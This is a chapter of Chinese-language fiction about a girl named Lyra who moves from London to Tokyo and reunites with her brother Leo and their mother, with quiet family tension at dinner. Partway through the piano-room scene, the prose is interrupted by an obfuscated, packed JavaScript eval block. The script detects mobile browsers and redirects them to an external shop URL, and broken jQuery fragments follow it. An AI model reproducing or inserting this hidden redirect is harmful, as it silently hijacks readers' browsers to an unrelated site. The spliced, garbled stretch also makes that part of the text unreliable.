岑韵的生日刚过去两天。
离开伦敦的时候，外婆替她检查了三遍护照，又往她的随身包里塞了一盒她亲手烤的曲奇。直到进了安检，岑韵才后知后觉地意识到，自己又要搬家了。
不到一年前，她从上海来到伦敦。现在伦敦的学年还没有结束，她又要前往东京，参加一所日本学校的入学考试。
飞机落地时，东京正在下小雨。
岑韵推着两个行李箱走出到达大厅，在接机的人群里找了几秒，才看见Leo。
他站在栏杆后面，穿着深色外套，一只手插在口袋里，另一只手举得很高。明明没有拿接机牌，岑韵还是一眼认出了他。
Leo也看见了她。
他先笑了一下，随后绕过栏杆走过来，很自然地接走她手里的大行李箱。
“生日快乐。”他说。
“你也是。” 姐弟俩相视而笑。
一年没见，Leo好像又长高了。头发比上次见面时短了一些，肩膀也宽了，站在她面前已经不像记忆里那个总和她抢最后一块蛋糕的弟弟。
她原本以为他们会拥抱。
至少应该说一句“好久不见”。
但Leo只是低头看了一眼她脚边剩下的箱子。
“这也是你的？”
“对。”
“你到底带了多少东西？”
“两个箱子而已。”
“你上次去伦敦的时候也是这么说的。”
岑韵伸手拍了他一下。Leo笑着躲开，这才张开手臂，敷衍似的抱了她一下。
“欢迎来东京，姐姐。”
Leo很快放开她，转身去和一旁的工作人员说话。他的日语说得很快，语气自然，没有明显停顿。工作人员确认完行李情况，又替他们指了停车场的方向。
岑韵只能听懂其中几个简单的词。
“你的日语什么时候变得这么好了？”她问。
“每天都在用，当然会进步。”
“你去年还只会点餐。”
“那是前年。”
Leo回头看她，纠正得毫不客气。
“而且我现在不仅会点餐，还会投诉点错的餐。”
岑韵被他逗笑了。
Leo接过她的另一个箱子，两个人一起往停车场走。一路上，他熟练地避开人群，找到电梯，又在岑韵差点走错出口的时候拉了她一下。
岑韵跟在他身后，看着机场里密密麻麻的日文标识，忽然有了一点不真实的感觉。
以前他们一起去陌生的地方时，走在前面的人通常是她。
“妈妈呢？”她问。
“临时有个会议。她本来想来，后来实在走不开。她说晚上会早点回来。”
“没关系，我只是问问。”
母亲派来的车停在停车场。司机认识Leo，也知道岑韵的名字。Leo用日语和他打过招呼，替她打开后备箱，把行李放进去。
车从机场驶向市区时，雨渐渐停了。
岑韵靠在车窗旁，看着外面的道路和楼房。她来过日本，但从来没有在这里生活过。车窗外的东京和旅行时看到的东京也不太一样，没有她记忆中的景点，只有不断经过的便利店、住宅和电线杆。
Leo在旁边回复消息。
他用的是日文输入法，打字速度很快。
“学校的事？”岑韵问。
“西洋剑社的训练安排。”
“你真的当部长了？”
Leo抬头。
“你为什么听起来不太相信？”
“因为你以前连自己的书桌都管不好。”
“那是以前。”
“去年暑假你的书桌也很乱。”
“那是私人空间，和管理社团没有关系。”
他说得理直气壮，岑韵一时找不到反驳的话。
坎贝尔家住在东京一片很安静的住宅区。车离开主路后，沿着缓坡向上开了几分钟，道路两侧的房子逐渐稀疏下来。
别墅建在半山坡上，院子不算很大，门前种着几棵修剪整齐的常绿树。站在门口看不到海，但空气里有很淡的潮湿气味。
Leo把她的箱子推到玄关。
“你的房间在二楼，走廊尽头。”
“妈妈没换房子？”
“去年年底换过一次。这间离学校近一点，也比较安静。”
他说完，又补充了一句：“钢琴也已经搬过来了。”
岑韵原本正在脱鞋，听见这句话立刻抬起头。
“那架贝希斯坦？”
“对。”
她连行李都顾不上，穿着室内拖鞋就往里面走。
钢琴房在一楼靠近花园的位置。Leo推开门，岑韵第一眼看见的就是房间中央那架黑色三角钢琴。琴盖合着，表面没有一点灰尘。
窗户很大，正对着山坡下方。天气还没有完全放晴，远处的房屋和树木之间，隐约能看见一条灰蓝色的海面。
“天气好的时候看得更清楚。”Leo说。
岑韵走到钢琴旁，把手放在琴盖上。
这架琴原本放在伦敦外公外婆家。她小时候每次去英国，都会用它练琴。后来母亲带Leo搬到东京，外婆同意让人把钢琴运了过来。
“运输的时候没有出问题吧？”
“没有。妈妈找了专业公司，每个月也有人来调音。”
Leo走到窗边，把半开的窗户关紧。
“平时我在这里练小提琴，有时候也会弹几下钢琴。晚上九点以后不能练，邻居投诉过一次。”
“你拉得很难听吗？”
“是妈妈晚上十点还在让我重复音阶。”
岑韵笑了一声，掀开琴盖，随手按下一个音。
音色清楚而稳定。
她又弹了几个和弦，确认琴的状态确实很好。琴键的触感仍然熟悉，但谱架上放着Leo的小提琴谱，旁边的节拍器也停在他常用的速度。
窗边还立着一只打开的小提琴盒，椅背上搭着一块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750651|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
擦琴布，是Leo的。
“你要弹一会儿吗？”Leo问。
“刚下飞机，手很僵。”
“这不像你会说的话。”
“现在很像了。”
岑韵盖上琴键。
她忽然不知道该弹什么。
母亲晚上七点多才回家。
她进门时还在打电话，站在玄关用英语结束了工作，随后把手机交给助理，快步走进来。
“Lyra。”
母亲抱住她，用力拍了拍她的背。
“让我看看。你是不是又长高了？”
“只长了一点。”
“伦敦那边怎么样？你外公的膝盖还好吗？外婆有没有又给你带太多东西？”
“都很好。外婆让我告诉你，她不满意你上个月只给她打了一次电话。”
母亲叹了口气。
“她说的一次，至少是三次。”
三个人去了附近的一家家庭餐馆吃晚饭。
厨师准备了烤鱼、味噌汤和几样小菜。岑韵在伦敦很少吃这些，第一口下去时觉得味道有些淡，下意识想找辣椒。
桌上没有。
Leo把酱油递给她。
“你以前不是不吃鱼皮吗？”母亲问。
“我现在吃。”
“什么时候开始的？”
“在上海的时候。”
“是吗？”
母亲的语气很自然，但停顿了一下。
她大概不记得这件事。
Leo低头挑鱼刺。他从前很讨厌鱼，家里每次做鱼都要抱怨半天，现在却吃得很熟练。
“你现在不是不吃鱼吗？”岑韵问。
“我什么时候不吃鱼了？”
“你十岁的时候。”
“那都是三年前的事了。”
Leo把挑好的鱼肉放进碗里。
母亲问起伦敦的课程，岑韵简单说了几句。话题很快又转到东京。母亲提到大使馆下周的活动，Leo接着说学校可能需要调整社团训练时间。
两个人说起几个岑韵不认识的人名，中间偶尔夹杂日语。
她听得懂母亲的英语，也听得懂Leo解释的部分，但他们谈论的是已经共同生活了一年的日常。谁总是迟到，哪位老师不喜欢学生请假，大使馆司机哪天轮班，岑韵只是默默听着。
岑韵吃完了半碗饭就停下了，才意识到自己已经有一会儿没有插上话了。
母亲大概也意识到了。
“你还在倒时差。”她说，“吃不下就不要勉强。明天不用早起。先休息几天，学校的事情不着急。”
“入学考试什么时候？”
“材料已经交了，具体时间还在确认。”
Leo抬起头。
“应该就在下周。”
“这么快？”
“不快。四月已经开学了。”
对她而言，东京的生活还没有正式开始；对Leo来说，这里的新学年早就开始了。